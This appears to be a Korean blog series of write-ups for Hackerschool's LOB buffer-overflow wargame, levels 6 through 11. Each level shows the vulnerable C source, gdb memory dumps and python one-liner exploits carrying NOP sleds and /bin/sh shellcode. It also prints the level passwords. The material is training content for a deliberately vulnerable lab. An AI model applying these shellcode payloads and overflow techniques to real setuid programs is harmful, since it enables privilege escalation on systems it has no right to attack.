반응형
반응형
반응형


해커스쿨 LOB LEVEL11 [skeleton -> golem] 풀이


M4ndU




해커스쿨 LOB [skeleton -> golem] 풀이입니다.


ID | skeleton

PW | shellcoder

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: skeleton

Password:

[skeleton@localhost skeleton]$ bash2

[skeleton@localhost skeleton]$ ls -l

total 16

-rwsr-sr-x    1 golem    golem       12199 Mar  2  2010 golem

-rw-r--r--    1 root     root          539 Mar 29  2010 golem.c

[skeleton@localhost skeleton]$ cat golem.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - golem

        - stack destroyer

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer!

        memset(buffer, 0, 44);

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));



리턴주소부분을 제외하고 모두 0으로 초기화 시켜버리네요....
하지만 남아있는 공간이 하나 있습니다. 바로 공유라이브러리입니다!

일단 문제를 복사하고

[skeleton@localhost skeleton]$ mkdir tmp
[skeleton@localhost skeleton]$ cp golem tmp/
[skeleton@localhost skeleton]$ cd tmp/

빈파일을 하나 만들어서 쉘코드 이름으로 컴파일합니다.

[skeleton@localhost tmp]$ cat > a.c
[skeleton@localhost tmp]$ ls
a.c  golem
[skeleton@localhost tmp]$ gcc -fPIC -shared a.c -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

그리고 환경변수 LD_PRELOAD에 등록을 해줍니다.

[skeleton@localhost tmp]$ export LD_PRELOAD=./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

이제 위치를 확인합니다.


[skeleton@localhost tmp]$ gdb golem -q
(gdb) b main
Breakpoint 1 at 0x8048476
(gdb) r `python -c 'print "D"*44+"\xbf"*4'`
Starting program: /home/skeleton/tmp/golem `python -c 'print "D"*44+"\xbf"*4'`

Breakpoint 1, 0x8048476 in main ()
(gdb) x/1000x $esp-4000
(생략)
0xbffff57c:     0x40017000      0x00002fb2      0x40013868      0xbffff754
0xbffff58c:     0x4000380e      0x40014468      0x90902f2e      0x90909090
0xbffff59c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5ac:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5bc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5cc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5dc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5ec:     0x90909090      0x90909090      0x90909090      0x11eb9090
0xbffff5fc:     0xb1c9315e      0x0e6c8032      0xe98001ff      0xebf67501
0xbffff60c:     0xffeae805      0xc132ffff      0x30306951      0x30696974
0xbffff61c:     0x8a6f6a63      0x8a5451e4      0x0cb19ae2      0x400081ce
0xbffff62c:     0x40013868      0x4000220c      0xbffffb60      0x00000000
0xbffff63c:     0x00000000      0x00000000      0x00000000      0x40014a00

잘있네요. 0xbffff5cc를 리턴주소로 하겠습니다.

[skeleton@localhost skeleton]$ ./golem `python -c 'print "A"*44+"\xcc\xf5\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA係?
bash$ my-pass
euid = 511
cup of coffee

다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏ

반응형
반응형


해커스쿨 LOB LEVEL10 [vampire -> skeleton] 풀이


M4ndU




해커스쿨 LOB [troll -> vampire] 풀이입니다.


ID | vampire

PW | music world

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: vampire

Password:

[vampire@localhost vampire]$ bash2

[vampire@localhost vampire]$ ls -l

total 20

-rwsr-sr-x    1 skeleton skeleton    12752 Mar  3  2010 skeleton

-rw-r--r--    1 root     root          821 Mar 29  2010 skeleton.c

[vampire@localhost vampire]$ cat skeleton.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - skeleton

        - argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i, saved_argc;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // check the length of argument

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }


        // argc saver

        saved_argc = argc;


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


        // ultra argv hunter!

        for(i=0; i<saved_argc; i++)

                memset(argv[i], 0, strlen(argv[i]));

}


이번에는 모든 argv값을 0으로 초기화 하네요... ㅠㅠ

스택에 뭐라도 남아있을지 모르니 찾아봅시다.


[vampire@localhost vampire]$ mkdir tmp

[vampire@localhost vampire]$ cp skeleton tmp/

[vampire@localhost vampire]$ cd tmp/

[vampire@localhost tmp]$ ./skeleton `python -c 'print "A"*47+"\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?

Segmentation fault (core dumped)

[vampire@localhost tmp]$ gdb -c core -q

Core was generated by `                                                           '.

Program terminated with signal 11, Segmentation fault.

#0  0xbf414141 in ?? ()

(gdb) x/1000s 0xbfffff00

0xbffffff0:      ""
0xbffffff1:      "./skeleton"
0xbffffffc:      ""
0xbffffffd:      ""
0xbffffffe:      ""
0xbfffffff:      ""
0xc0000000:      <Address 0xc0000000 out of bounds>


어라 argv[0]의 값이 남아있네요.

이 것을 이용해서 문제를 풀면 될 것 같습니다.


[vampire@localhost tmp]$  rename skeleton `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` skeleton



이름을 바꿔주고요,

[vampire@localhost tmp]$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\xbf\xff\xff\xbf"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD??
Segmentation fault (core dumped)
[vampire@localhost tmp]$ gdb -c core -q
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffd2 in ?? ()
(gdb) x/100x 0xbfffff00
0xbfffff00:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff10:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff20:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff30:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff40:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff50:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff60:     0x00000000      0x902f2e00      0x90909090      0x90909090
0xbfffff70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff80:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff90:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffa0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffb0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffc0:     0x90909090      0x90909090      0xeb909090      0xc9315e11
0xbfffffd0:     0x6c8032b1      0x8001ff0e      0xf67501e9      0xeae805eb
0xbfffffe0:     0x32ffffff      0x306951c1      0x69697430      0x6f6a6330
0xbffffff0:     0x5451e48a      0xb19ae28a      0x0081ce0c      0x00000000
0xc0000000:     Cannot access memory at address 0xc0000000


리턴주소를 0xbfffff70로 하면 될 것 같습니다.

[vampire@localhost vampire]$  ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\x80\xff\xff\xbf"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD€?
Segmentation fault

...왜인지 모르겠는데 안되네요. 저번엔 쉘 떴는데..
혀튼 쉘을 따시면 다음 비밀번호가 나옵니다.ㅎ

다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏ







반응형
반응형


해커스쿨 LOB LEVEL9 [troll -> vampire] 풀이


M4ndU




해커스쿨 LOB [troll -> vampire] 풀이입니다.


ID | troll

PW | aspirin


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: troll

Password:

[troll@localhost troll]$ bash2

[troll@localhost troll]$ ls -l

total 16

-rwsr-sr-x    1 vampire  vampire     12103 Mar  2  2010 vampire

-rw-r--r--    1 root     root          550 Mar 29  2010 vampire.c

[troll@localhost troll]$ cat vampire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - vampire

        - check 0xbfff

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // here is changed!

        if(argv[1][46] == '\xff')

        {

                printf("but it's not forever\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



이번에는 리턴 주소의 첫바이트는 0xbf 이어야 하고 두번째 바이트는 \xff가 아니어야 하네요.
그런데 스택은 크기가 변할 수 있습니다! 우리가 매우 큰 길이의 값을 넣어 준다면 그만큼 스택이 늘어나겠지요.

이를 이용해서 쉘코드 앞에 \x90을 10만개 넣겠습니다!

[troll@localhost troll]$ mkdir tmp
[troll@localhost troll]$ cp vampire tmp/
[troll@localhost troll]$ cd tmp/
[troll@localhost tmp]$ ./vampire `python -c 'print "D"*44+"\xff\xff\xbf\xbf"+" "+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD옜
Segmentation fault (core dumped)
[troll@localhost tmp]$ gdb -c core -q
Core was generated by `./vampire DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD??릱릱릱릱릱릱릱릱릱릱'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfffff in ?? ()
(gdb) x/1000x $esp
0xbffe7420:     0x00000000      0xbffe7464      0xbffe7474      0x40013868
0xbffe7430:     0x00000003      0x08048380      0x00000000      0x080483a1
0xbffe7440:     0x08048430      0x00000003      0xbffe7464      0x080482e0
0xbffe7450:     0x080484fc      0x4000ae60      0xbffe745c      0x40013e90
0xbffe7460:     0x00000003      0xbffe7572      0xbffe757c      0xbffe75ad
0xbffe7470:     0x00000000      0xbffffc67      0xbffffc7b      0xbffffc93
0xbffe7480:     0xbffffcb2      0xbffffcd4      0xbffffcdf      0xbffffea2
0xbffe7490:     0xbffffec1      0xbffffedc      0xbffffef1      0xbfffff0e
0xbffe74a0:     0xbfffff19      0xbfffff27      0xbfffff2f      0xbfffff39
0xbffe74b0:     0xbfffff49      0xbfffff57      0xbfffff65      0xbfffff76
0xbffe74c0:     0xbfffff81      0xbfffff92      0xbfffffd3      0xbfffffdf
0xbffe74d0:     0x00000000      0x00000003      0x08048034      0x00000004
0xbffe74e0:     0x00000020      0x00000005      0x00000006      0x00000006
0xbffe74f0:     0x00001000      0x00000007      0x40000000      0x00000008
0xbffe7500:     0x00000000      0x00000009      0x08048380      0x0000000b
0xbffe7510:     0x000001fc      0x0000000c      0x000001fc      0x0000000d
0xbffe7520:     0x000001fc      0x0000000e      0x000001fc      0x00000010
0xbffe7530:     0x0f8bfbff      0x0000000f      0xbffe756d      0x00000000
0xbffe7540:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffe7550:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffe7560:     0x00000000      0x00000000      0x00000000      0x38366900
0xbffe7570:     0x2f2e0036      0x706d6176      0x00657269      0x44444444
0xbffe7580:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffe7590:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffe75a0:     0x44444444      0x44444444      0xbfbfffff      0x90909000
0xbffe75b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7600:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7610:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7620:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7630:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7640:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7650:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7660:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7670:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7680:     0x90909090      0x90909090      0x90909090      0x90909090


와우 스택주소가 0xbffe부터 시작합니다!
\x90이 10만개가 들어가 있으니 아무 \x90이 들어 있는 곳을 리턴 주소로 잡으면 됩니다.
저는 \xbffe7660으로 잡겠습니다.


[troll@localhost troll]$ ./vampire `python -c 'print "D"*44+"\x60\x76\xfe\xbf"+" "+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD`v

bash$ my-pass

euid = 509

music world



성공! 다음레벨로 가 즈 아

반응형
반응형


해커스쿨 LOB LEVEL8 [orge -> troll] 풀이


M4ndU




해커스쿨 LOB [orge -> troll] 풀이입니다.


ID | orge

PW | timewalker


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: orge

Password:

[orge@localhost orge]$ bash2

[orge@localhost orge]$ ls -l

total 20

-rwsr-sr-x    1 troll    troll       12693 Mar  1  2010 troll

-rw-r--r--    1 root     root          772 Mar 29  2010 troll.c

[orge@localhost orge]$ cat troll.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - troll

        - check argc + argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        // here is changed

        if(argc != 2){

                printf("argc must be two!\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // check the length of argument

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


        // one more!

        memset(argv[1], 0, strlen(argv[1]));

}



        // here is changed

        if(argc != 2){

                printf("argc must be two!\n");

                exit(0);

        }


이번에는 argv[0] 과 argv[1]밖에 사용할 수 없는데,


        // one more!

        memset(argv[1], 0, strlen(argv[1]));


argv[1]을 모두 0으로 초기화시켜버리네요.

쉘코드가 들어갈 수 있는 곳은 argv[0]뿐이네요.

파일이름을 쉘코드로 하고 argv[0]의 주소를 리턴주소로 하면 될 것 같습니다.

그러나! 파일명을 변경하려고 하면 없는 파일이라고 되지 않을 것인데요.

그 이유는 쉘코드에 있는 \x2f가 /로 읽혀서 그런 것입니다. 그래서 \x2f가 없는 쉘코드를 사용해야 합니다.

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


[orge@localhost orge]$ rename troll `python -c 'print "\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` troll



그다음 tmp폴더에 복사해서 core dump를 일으키고 분석을 합니다.



[orge@localhost orge]$ mkdir tmp

[orge@localhost orge]$ cp `python -c 'print "\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` tmp

[orge@localhost orge]$ cd tmp

[orge@localhost tmp]$ ./`python -c 'print "\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\xff\xff\xff\xbf"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?

Segmentation fault (core dumped)

[orge@localhost tmp]$ gdb -c core -q

Core was generated by `./릱릱릱릱릱릱릱릱릱릱?12€l€?楕凹2핽i00tii0cjo듾QT듼슧

?        '.

Program terminated with signal 11, Segmentation fault.

#0  0xbfffffff in ?? ()

(gdb) x/1000x $esp

0xbffffa40:     0x00000000      0xbffffa84      0xbffffa90      0x40013868

0xbffffa50:     0x00000002      0x08048450      0x00000000      0x08048471

(생략)

0xbffffb70:     0x00000000      0x00000000      0x36383669      0x902f2e00

0xbffffb80:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffb90:     0xeb909090      0xc9315e11      0x6c8032b1      0x8001ff0e

0xbffffba0:     0xf67501e9      0xeae805eb      0x32ffffff      0x306951c1

0xbffffbb0:     0x69697430      0x6f6a6330      0x5451e48a      0xb19ae28a

0xbffffbc0:     0x0081ce0c      0x00000000      0x00000000      0x00000000


0xbffffb80을 리턴주소로 하겠습니다.


[orge@localhost orge]$ ./`python -c 'print "\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\x80\xfb\xff\xbf"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD€??

bash$ my-pass

euid = 508

aspirin


성공입니다!! 다음레벨로 가Gㅡ아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형
반응형


해커스쿨 LOB LEVEL7 [darkelf -> orge] 풀이


M4ndU




해커스쿨 LOB [darkelf -> orge] 풀이입니다.


ID | darkelf

PW | kernel crashed


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: darkelf

Password:

[darkelf@localhost darkelf]$ bash2

[darkelf@localhost darkelf]$ ls -l

total 20

-rwsr-sr-x    1 orge     orge        12700 Mar  1  2010 orge

-rw-r--r--    1 root     root          800 Mar 29  2010 orge.c

[darkelf@localhost darkelf]$ cat orge.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orge

        - check argv[0]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // here is changed!

        if(strlen(argv[0]) != 77){

                printf("argv[0] error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // check the length of argument

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}


이전 문제에서 바뀐 내용은 argv[0]의 길이가 77이어야 하는거네요.
argv[0]은 ./orge AA BB 에서 ./orge가 해당됩니다.
argv[0]의 길이가 77이 되도록 하려면 "./"를 제외하고 파일이름이 75바이트면 되겠네요.

파일이름을 바꿔줍시다.

[darkelf@localhost darkelf]$ rename orge `python -c 'print "A"*75'` orge
[darkelf@localhost darkelf]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
orge.c

그럼 이제 분석을 위해 파일을 복사해주고, argv[2]에 쉘코드를 넣고 위치를 확인해 봅시다.

argv[1] = 'print "D"*44+RET'`
argv[2] = 'python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


[darkelf@localhost darkelf]$ mkdir tmp

[darkelf@localhost darkelf]$ cp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  tmp/

[darkelf@localhost darkelf]$ cd tmp/

[darkelf@localhost tmp]$ ./`python -c 'print "A"*75+" "+"D"*44+"\xff\xff\xff\xbf"+" "+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?

Segmentation fault (core dumped)

[darkelf@localhost tmp]$ gdb -c core -q

Core was generated by `./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA D'.

Program terminated with signal 11, Segmentation fault.

#0  0xbfffffff in ?? ()

(gdb) x/1000x $esp

0xbffff9d0:     0x00000000      0xbffffa14      0xbffffa24      0x40013868

0xbffff9e0:     0x00000003      0x08048450      0x00000000      0x08048471

(생략)

0xbffffb10:     0x00000000      0x00000000      0x00000000      0x38366900

0xbffffb20:     0x2f2e0036      0x41414141      0x41414141      0x41414141

0xbffffb30:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffb40:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffb50:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffb60:     0x41414141      0x41414141      0x41414141      0x00414141

0xbffffb70:     0x44444444      0x44444444      0x44444444      0x44444444

0xbffffb80:     0x44444444      0x44444444      0x44444444      0x44444444

0xbffffb90:     0x44444444      0x44444444      0x44444444      0xbfffffff

0xbffffba0:     0x90909000      0x90909090      0x90909090      0x90909090

0xbffffbb0:     0x90909090      0x50c03190      0x732f2f68      0x622f6868

0xbffffbc0:     0xe3896e69      0xe1895350      0x0bb0c289      0x000080cd


argv[0], argv[1], argv[2] 를 모두 확인할 수 있네요.
쉘코드가 있는 0xbffffbb0를 리턴주소로 하겠습니다.

[darkelf@localhost darkelf]$ ./`python -c 'print "A"*75+" "+"D"*44+"\xb0\xfb\xff\xbf"+" "+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD곽?
bash$ my-pass
euid = 507
timewalker


성공입니다. 다음레벨로 GA즈AAAAAAAAAAAAAAAA


반응형
반응형


해커스쿨 LOB LEVEL6 [wolfman -> darkelf] 풀이


M4ndU




해커스쿨 LOB [wolfman -> darkelf] 풀이입니다.


ID | wolfman

PW | love eyuna


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: wolfman

Password:

[wolfman@localhost wolfman]$ bash2

[wolfman@localhost wolfman]$ ls -l

total 20

-rwsr-sr-x    1 darkelf  darkelf     12655 Feb 26  2010 darkelf

-rw-r--r--    1 root     root          721 Mar 29  2010 darkelf.c

[wolfman@localhost wolfman]$ cat darkelf.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkelf

        - egghunter + buffer hunter + check length of argv[1]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // check the length of argument

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}


이번에는 argv[1]의 길이를 제안하네요. 48바이트를 넘기면 안되네요.
하지만 argv[2]를 이용한다면 해결됩니다.

argv[1] = 'print "\x90"*44+RET'`
argv[2] = 'python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


[wolfman@localhost tmp]$ ./darkelf `python -c 'print "\x90"*44+"\xff\xff\xff\xbf"'` `python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?
Segmentation fault (core dumped)
[wolfman@localhost tmp]$ gdb -c core -q
Core was generated by `./darkelf 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?릱릱릱릱릱릱릱릱릱릱'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffff in ?? ()
(gdb) x/1000x $esp
0xbffffac0:     0x00000000      0xbffffb04      0xbffffb14      0x40013868
(생략)
0xbffffc00:     0x2e003638      0x7261642f      0x666c656b      0x90909000
0xbffffc10:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc20:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc30:     0x90909090      0x90909090      0xffffff90      0x909000bf
0xbffffc40:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc50:     0xc0319090      0x2f2f6850      0x2f686873      0x896e6962
0xbffffc60:     0x895350e3      0xb0c289e1      0x0080cd0b      0x00000000
(생략)

0xbffffc40을 리턴주소로 잡으면 되겠네요.

